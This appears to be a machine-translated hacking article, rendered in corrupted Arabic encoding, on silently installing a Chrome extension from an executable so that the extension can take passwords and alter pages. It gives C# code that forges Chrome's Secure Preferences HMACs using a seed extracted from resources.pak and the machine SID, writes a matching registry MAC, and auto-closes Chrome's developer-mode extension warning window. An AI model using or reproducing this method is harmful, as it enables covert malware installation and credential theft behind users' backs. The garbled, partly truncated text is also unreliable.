
ููู
ุฌูุฏ ุ ุนุฒูุฒู ุงููุงุฑุฆ! ูุชู
ุชุญุฏูุซ Chrome ุ ูููู ูุง ุชูุฌุฏ ู
ูุงูุงุช ุฌุฏูุฏุฉ ุญูู ููููุฉ ุชุซุจูุช ุฅุถุงูุฉ ุจุฑู
ุฌูุฉ ูู chrome ุ ุฅูู ุฌุงูุจ - load-extension - ูููู ูุฐุง ููุณ ุฎูุงุฑูุง ุ ูุฃููุง ูุง ูุจุญุซ ุนู ุทุฑู ุณููุฉ. ุงูููู
ุณูู ุฃุฎุจุฑู ููู ู
ู ุงูู
ู
ูู ุญููุง ุงูุญุตูู ุนูู ูู ุดูุก ุจุงุณุชุฎุฏุงู
ุชุทุจูู exe-shnik: ููู
ุงุช ุงูู
ุฑูุฑ ุ ุชุบููุฑ ุงูู
ุญุชูู ุ ููููุฉ ุงูุณุฑูุฉ ุ ุฅูุฎ. - ูููู ูุฐู
ููุณุช ุฏุนูุฉ ููุนู
ู ุ ูููู ููุท ู
ูุงู ููู
ุฑุงุฌุนุฉ. ูู ุงูุนุตูุฑ ุชุญุช ุงููุต.
ูููุฐุง ุ ู
ุง ุงูุฐู ูุณู
ุญ ููุง ุจุงูููุงู
ุจุงูุงู
ุชุฏุงุฏ ูู ูุถุน ุงูู
ุทูุฑุ ุญุณููุง ุ ู
ุซู ุงูุงู
ุชุฏุงุฏ ุงูุนุงุฏู ุ ูู
ูู ุฃู ูุนู
ู ุนูู ุฌู
ูุน ุงูู
ูุงูุน ุ ูุนูู ุณุจูู ุงูู
ุซุงู ุ ูุณุฑ ููู
ุงุช ุงูู
ุฑูุฑ ุ ูุชูููุฐ ุงูุฅุนูุงูุงุช ุ ูู
ุง ุฅูู ุฐูู. ููู ุงูุงู
ุชุฏุงุฏ ูู ูุถุน ุงูู
ุทูุฑ ูุชูุญ ุงููุตูู ุฅูู ู
ูุฒุฉ ุฃุฎุฑู ุ ูุงูุชู ูุจุฏู ุฃููุง ููุณุช ู
ูู
ุฉ ููุบุงูุฉ ุ ูููู ูู
ูู ุฃู ุชููู ู
ููุฏุฉ: ูุฏููุง ุฅู
ูุงููุฉ ุงููุตูู ุฅูู ูุธุงู
ุงูู
ููุงุช. ูุนู
ุ ุณูุทูู ูุฐุง ุงูุงุณุชุบูุงู ู
ู ู
ูู exe ุ ูู
ู ุญูุซ ุงูู
ุจุฏุฃ ุ ูุณูุง ุจุญุงุฌุฉ ุฅููู ุญููุง ุ ููู ู
ุงุฐุง ููุ
ูุญู ูุญูู ุงูู
ููุงุช
ูููุฐุง ุ ุจุงููุณุจุฉ ููู
ุจุชุฏุฆูู ุ ูู
ููู ู
ุนุฑูุฉ ุงูู
ููุงุช ุงูุชู ุณุชุฎุชูู ุจุนุฏ ุชุซุจูุช ุงูุงู
ุชุฏุงุฏ ุ ูู
ูููุง ุฃู ูุฌุฏ ุฃููุงูช appdataูช \ .. \ Local \ Google \ Chrome \ User Data \ <profile> \ Secure Preferences. ุฏุนููุง ูุณุฎ ุงูู
ุญุชููุงุช ุ ูุญุฐู ุงูุชู
ุฏูุฏ ูุงุณุชุนุงุฏุฉ ูุณุฎุฉ - ุจุงู
ููุง! ูุงูุชูุณุน ูุนู
ู ู
ุฑุฉ ุฃุฎุฑู. ุจุงููุธุฑ ุฅูู ุงูู
ุนุฑู ุ ูู
ููู ุฃู ุชุฑู ุฃู ููุงู ููู
ุชูู ุชุชุบูุฑ ู
ุน ูุฐุง ุงูู
ูุชุงุญ: extension.settings.id ู protection.macs.extensions.settings.id - ุฃูููู
ุง ุงูุฅุนุฏุงุฏุงุช ุ ูุงูุซุงูู ูู ููุน ู
ู ุงูุชุฌุฒุฆุฉ. ูุญู ูุชุณูู ุฅูู ุงูุฃููุงุน ููุฑู - ูุฐุง ูู HMAC SHA256. ูููู ู
ุง ุงูุฐู ูุญุตู ุนููู ู
ูุ ุฏุนูุง ูุฏุฎู ูู ู
ุตุญุญ ุงูุฃุฎุทุงุก ุ ููุนูู ุนูู ุงููุฑูู
ูุชุญู
ูู ุงูุฑู
ูุฒ ู
ู
https://chromium-browser-symsrv.commondatastorage.googleapis.com
ุงุบุชุตุงุจ ุงููุฑูู
ูุงู! ูุฌุฏ ุงูู
ูู pref_hash_calculator.cc ุ ุงูุชูุฒูู ุ ุชุนููู ุงุณุชุฑุงุญุฉ
std::string PrefHashCalculator::Calculate(const std::string& path, const base::Value* value) const
Op - ูุญุตู ุนูู seed_ - ู
ูุชุงุญ HMAC ุ ูููุชุดู ุฃูุถูุง ุฃูู ูุณูุณู ุซูุงุซุฉ ุฎุทูุท ููุฃุฎุฐ ุงููุชูุฌุฉ ูู HMACSHA256 (device_id + path + value ุ seed_). ุญุณููุง ุ ุฏุนููุง ูููู ูุธุฑุฉ ุนูู ุจุฐูุฑูุง_ - ูููุง ุชูุชุธุฑูุง ุงูุญุฒููุฉ ุงูุฃููู: ุฅููุง ู
ุฌุฑุฏ ุณุทุฑ "ChromeRegistryHashStoreValidationSeed" - ุงุณุฃู ุ ู
ุง ุงูุฎุทุฃ ูู ุฐููุ ูุฏุนููุง ูููู ูุธุฑุฉ ุนูู ูุชูุฌุฉ ุงูุญุณุงุจ ุ ูุงุฑู ุจูู ุงูุชุฌุฒุฆุฉ ูุงูุชุฌุฒุฆุฉ ุงููุงุชุฌุฉ ูู ุงูู
ูู ุนูู ุทูู ูุฐุง ุงูู
ุณุงุฑ - ูุญู ูุดุนุฑ ุจุฎูุจุฉ ุฃู
ู ุ ูููู ูุง! ุงูููู
ุฉ ุงูุฃุณุงุณูุฉ ูู ู
ูุชุงุญ "ุงูุณุฌู" ุ ูุญู ูุชุณูู ุฅูู ุงูุณุฌู ูููุธุฑ - ููู ุงูุญูููุฉ ุ ูุฐุง ูู ู
ูุชุงุญ ุงูุชุฌุฒุฆุฉ ูู ุงูุณุฌู ุ ูุณูุญุชุงุฌู.
ุงูุฎุตู
ุ debase ุ ููู ูู ู
ูุงู ูุฐุง ุงูู
ูุชุงุญ ููุท ุ ู
ุง ูู ุงูุฎุทุฃุ ุงูุขู ุฏุนููุง ูููู ูุธุฑุฉ ุนูู ูู
ู
ู ุงูููุช ูุฌุจ ุฃู ูููู ู
ูุชุงุญ ููุงุณู ูู HMACSHA256ุ 64 ุจุงูุช ุ ูุนูู ุงูุฃุฑุฌุญ ูุฐุง ููุณ ุฎุทูุง ุ ูููู ููุนูุง ู
ุง ู
ู ุงูุจุงูุชุงุช. ุงููุฑุฒุ ููุณ ูุฏูู ููุช! ุงูุงูุชุฑุงุถ ุงูุฃูู - ุงูุจุฐุฑุฉ _ ูุชู
ุชุฑู
ูุฒู ูู ูู ุฅุตุฏุงุฑ ู
ู chrome - ุฏุนููุง ูุญุงูู ูุฑุฒ ุฌู
ูุน ุงูุฎูุงุฑุงุช ููุจุงูุช 64x ุนูู ุงูุชูุงูู ูู ุงูุซูุงุฆูุงุช ูู
ููุงุช chrome. ููุชุจ ูุตูุง ุจุณูุทูุง ููุญุตู ุนูู ุงููุชูุฌุฉ ุงูุฃููู ูู ุบุถูู ุณุงุนุฉ ุชูุฑูุจูุง: ุชูู
ู ุจุฐูุฑูุง ูู resources.pak. ุฏุนููุง ุฌูุฌู ุงููููู.

ุงูุฅุตุฏุงุฑ 4 ุ ูุฏููุง ูู 5. ููุงู ุฎุทุฃ ู
ุง ุ ุฑุจู
ุง ูู
ูุชุบูุฑ ุงูููููุ ููู ูุง. ุจุนุฏ ุจุนุถ ุงูู
ุญุงููุงุช ุ ูุญุตู ุนูู ุฃู ุงูุจููุฉ ูู
ุง ููู: ุฅุตุฏุงุฑ 4 ุจุงูุช (5) ุ 4 ุจุงูุช - ุชุดููุฑุ (1) ุ 2 ุจุงูุช - ุนุฏุฏ ุงูุณุฌูุงุช ุ 2 ุจุงูุช ุ ููุณ ู
ู ุงููุงุถุญ ู
ุงุฐุง. ููู
ุง ููู ุงูุฅุฏุฎุงูุงุช ุจุงูุชูุณูู: 2 ุจุงูุช - ู
ุนุฑู ุ 4 ุจุงูุช - ุฅุฒุงุญุฉ ูุณุจุฉ ุฅูู ุจุฏุงูุฉ ุงูู
ูู. ูุญู ูุจุญุซ ุนู ูุณู
ุจุทูู 64 ุจุงูุช - ููุนู
ุ ููุฏ ูุฌุฏูุงู ุ ูุฐู ูู ุงูุจุฐุฑุฉ. ุงูุขู ุฏุนูุง ููุชุจ ูุธููุฉ ููุจุญุซ ุนู seed_ in resources.pak ูู
ูู ุงูุฅุตุฏุงุฑ ุงูุฑุงุจุน ูุงูุฎุงู
ุณ:
public static byte[] GetSeed(string resources_pak) {
ุญุณููุง ุ ุฏุนููุง ูุบูุฑ ุงูุฅุนุฏุงุฏุงุช ุ ููุญุงูู ุงุณุชุจุฏุงู ุงูุชุฌุฒุฆุฉ - ุงููุดู. ุฃูู ุดูุก ูู
ููู ุฃู ุชุฌุฏู ูู ุฃููุงุน ุงููุฑูู
ูู ุฅุฒุงูุฉ ูู ุงููุงุฆูุงุช ุงููุงุฑุบุฉ ู
ู ุงูููู
ุฉ. ุญุณููุง ุ ููุฏ ููู - ุชู
.
ูุดู ู
ุฑุฉ ุฃุฎุฑู - ูุญู ุจุญุงุฌุฉ ุฅูู ุฅูุดุงุก ููุณ HMACSHA256 ู
ู protection.macs ูุฐูู ุ ูุฌุจ ุญุฐู ุงูู
ุณุงุฑ ูู ูุฐู ุงูุญุงูุฉ. ุนุธูู
! ุชููู. ููููุง ูุณููุง ุชู
ุงู
ูุง ุนู device_id - ุฃูู ูู
ูููู ุงูุญุตูู ุนูููุ ูู ุงูุฅุตุฏุงุฑุงุช ุงููุฏูู
ุฉ ุ ูููู ูุฐุง ูู ู
ุนุฑู ุงูุฌูุงุฒ ู
ู ุจุนุถ ู
ูุชุจุฉ RLZ ูุฌูุฉ ุฎุงุฑุฌูุฉ. ูู ุงูุฌุฏูุฏ ุ ููุท SID ูููู
ุจููุชุฑ. ููู ุชุญุตู ุนูููุ ุจุงููุณุจุฉ ููุฎูุงุฑ ุงูุซุงูู ูุงูุฅุตุฏุงุฑุงุช ุงูุฌุฏูุฏุฉ ู
ู Chrome:
public static string GetSID() { StringBuilder sb = new StringBuilder(260); int size = 260; GetComputerName(sb, ref size); byte[] Sid = null; uint cbSid = 0; string accountName = sb.ToString(); StringBuilder referencedDomainName = new StringBuilder(); uint cchReferencedDomainName = (uint)referencedDomainName.Capacity; SID_NAME_USE sidUse; int err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) { err = Marshal.GetLastWin32Error(); if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS) { Sid = new byte[cbSid]; referencedDomainName.EnsureCapacity((int)cchReferencedDomainName); err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) err = Marshal.GetLastWin32Error(); } } else {
ููููุณุฎุฉ ุงููุฏูู
ุฉ:
public static string GetMachineId(string sid) { string dir = Environment.SystemDirectory; dir = dir.Substring(0, dir.IndexOf("\\") + 1); StringBuilder volname = new StringBuilder(261); StringBuilder fsname = new StringBuilder(261); uint sernum, maxlen; FileSystemFeature flags; if (!GetVolumeInformation(dir, volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity)) Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); byte[] sid_str = (Hash(sid)); byte[] bts = new byte[sid_str.Length + 4]; for (int i = 0; i < sid_str.Length; i++) bts[i] = sid_str[i]; for (int i = 0; i < sizeof(int); i++) { int shift_bits = 8 * (sizeof(int) - i - 1); bts[sid_str.Length + i] = (byte)((sernum >> shift_bits) & 0xFF); } byte b = Crc8.Gen(bts); var sb = new StringBuilder(bts.Length + 1); foreach (byte bb in bts) sb.Append(bb.ToString("X2")); sb.Append(b.ToString("X2")); return sb.ToString(); }
ูููุฐุง ุ ูุธู ุงูุณุฎุฑูุฉ ู
ู ุงูุฅุนุฏุงุฏุงุช ูุญูุธ ุงูู
ูู ุ ู
ุน ุฅุบูุงู ุงููุฑูู
:
public static void Install() { string path = Unzip(); string id = ""; string flags = "" + ((1 << 7) | (1 << 2)); string loc = "4"; id = "dblokgoogmhjemeebajnamjdmloolcjd"; string setting = " "; preferences = SetValue(preferences, "extensions.settings." + id, setting.Replace("<", "\\u003C")); preferences = SetValue(preferences, "protection.macs.extensions.settings." + id, ComputeHash(seed_, "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting)))); string abc = "HKEY_CURRENT_USER\\Software\\Google\\Chrome\\PreferenceMACs\\Default\\extensions.settings"; string reg_key = ComputeHash(Encoding.ASCII.GetBytes("ChromeRegistryHashStoreValidationSeed"), "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting))); Registry.SetValue(abc, id, reg_key); string macs = GetSecure("protection.macs"); preferences = SetValue(preferences, "protection.super_mac", ComputeHash(seed_, "", macs)); Process process = new Process();
ูุงุญุธ ุฃูุถูุง ุฃูู ุนูุฏ ูุชุญ ุงูู
ุชุตูุญ ุงูุขู ุ ูุชู
ูุชุญ ูุงูุฐุฉ "ุชุนุทูู ุงูุฅุถุงูุงุช ูู ูุถุน ุงูู
ุทูุฑ" - ููููุฉ ุฅุบูุงููุง ูู ุจุงููุนู ุงุฎุชูุงุฑ ุงูุฌู
ูุน. ููู ูู
ูููู ุชุฑู ุฏูู ุฎููู ูุคุฏู ุฅูู ุฅุบูุงู ูุฐู ุงููุงูุฐุฉ ู
ู ุฎูุงู WinAPI:
public static void CheckWindows() { while (true) { Process[] pcs = Process.GetProcessesByName("chrome"); if (pcs.Length > 0) { List<IntPtr> ww = GetChildWindows(IntPtr.Zero); foreach (var hwnd in ww) { try { uint pidd = 0; GetWindowThreadProcessId(hwnd, out pidd); IntPtr pid = (IntPtr)pidd; IntPtr hProcess = OpenProcess(0x0410, false, pidd); StringBuilder text = new StringBuilder(1000); GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity); CloseHandle(hProcess); if (!text.ToString().EndsWith("chrome.exe")) continue; const int nChars = 256; StringBuilder Buff = new StringBuilder(nChars); if (GetWindowText(hwnd, Buff, nChars) > 0) { string name = Buff.ToString(); if (names.Contains(name)) SendMessage((IntPtr)hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); } Thread.Sleep(1); } catch { } Thread.Sleep(1); } } else Thread.Sleep(10); } }
ุญุธุง ุณุนูุฏุง ูุงูุงุฎุชุฑุงู ุงูุฃุฎูุงูู! ู
ู ูุนุฑู ููููุฉ ุงูููุงู
ุจุงูุดูุก ููุณู ู
ุน ู
ุชุตูุญ Yandex - ุณูููู ู
ู ุงูู
ุซูุฑ ููุงูุชู
ุงู
ู
ุนุฑูุฉ ู
ุง ุฅุฐุง ููุช ุฃุญุงูู ุงูุชูุงุทู ูู
ุฏุฉ ุฃุณุจูุน ุงูุขู ุ ููู ูุง ูุนู
ู.